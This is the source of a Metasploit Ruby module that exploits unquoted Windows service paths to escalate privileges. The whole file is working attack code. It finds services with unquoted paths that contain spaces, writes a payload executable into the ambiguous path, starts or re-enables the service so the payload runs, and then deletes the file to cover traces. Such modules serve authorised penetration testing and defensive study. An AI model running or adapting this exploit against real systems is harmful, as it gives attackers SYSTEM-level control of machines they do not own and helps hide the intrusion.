metasploit-framework/modules/exploits/windows/local/trusted_service_path.rb

160 lines
4.6 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/exe'
class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Post::Windows::Services
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Service Trusted Path Privilege Escalation',
'Description' => %q{
This module exploits a logic flaw due to how the lpApplicationName parameter
is handled. When the lpApplicationName contains a space, the file name is
ambiguous. Take this file path as example: C:\program files\hello.exe;
The Windows API will try to interpret this as two possible paths:
C:\program.exe, and C:\program files\hello.exe, and then execute all of them.
To some software developers, this is an unexpected behavior, which becomes a
security problem if an attacker is able to place a malicious executable in one
of these unexpected paths, sometimes escalate privileges if run as SYSTEM.
Some software such as OpenVPN 2.1.1, OpenSSH Server 5, and others have the
same problem.
The offensive technique is also described in Writing Secure Code (2nd Edition),
Chapter 23, in the section "Calling Processes Security" on page 676.
},
'References' =>
[
['URL', 'http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx'],
['URL', 'http://www.microsoft.com/learning/en/us/book.aspx?id=5957&locale=en-us'] #pg 676
],
'DisclosureDate' => "Oct 25 2001",
'License' => MSF_LICENSE,
'Author' =>
[
'sinn3r'
],
'Platform' => [ 'win'],
'Targets' => [ ['Windows', {}] ],
'SessionTypes' => [ "shell", "meterpreter" ],
'DefaultTarget' => 0,
# Migrate away, in case the service dies (can kill access)
'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }
))
end
def check
if enum_vuln_services.empty?
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Vulnerable
end
end
def enum_vuln_services(quick=false)
vuln_services = []
service_list.each do |service|
info = service_info(service[:name])
# Sometimes there's a null byte at the end of the string,
# and that can break the regex -- annoying.
cmd = info[:path].strip
# Check path:
# - Filter out paths that begin with a quote
# - Filter out paths that don't have a space
next if cmd !~ /^[a-z]\:.+\.exe$/i
next if not cmd.split("\\").map {|p| true if p =~ / /}.include?(true)
vprint_status("Found vulnerable service: #{name} - #{cmd} (#{info['Credentials']})")
vuln_services << [name, cmd]
# This process can be pretty damn slow.
# Allow the user to just find one, and get the hell out.
break if not vuln_services.empty? and quick
end
return vuln_services
end
def exploit
#
# Exploit the first service found
#
print_status("Finding a vulnerable service...")
svrs = enum_vuln_services(true)
if svrs.empty?
print_error("No service found with trusted path issues")
return
end
svr_name = svrs.first[0]
fpath = svrs.first[1]
exe_path = "#{fpath.split(' ')[0]}.exe"
print_status("Placing #{exe_path} as #{svr_name}")
#
# Drop the malicious executable into the path
#
exe = generate_payload_exe
print_status("Writing #{exe.length.to_s} bytes to #{exe_path}...")
begin
write_file(exe_path, exe)
rescue Rex::Post::Meterpreter::RequestError => e
# Can't write the file, can't go on
print_error(e.message)
return
end
#
# Run the service, let the Windows API do the rest
#
print_status("Launching service #{svr_name}...")
tried = false
begin
status = service_start(svr_name)
raise RuntimeError, status if status != 0
rescue RuntimeError => s
if tried
print_error("Unable to start #{svr_name}")
return
else
tried = true
end
case s.message.to_i
when 1
# Service already started, restart again
service_stop(svr_name)
retry
when 2
# Service disabled, enable it
service_change_startup(svr_name, 'manual')
retry
end
end
#
# "Nothing ever happened, we swears it on the Precious!"
#
print_status("Deleting #{exe_path}")
file_rm(exe_path)
end
end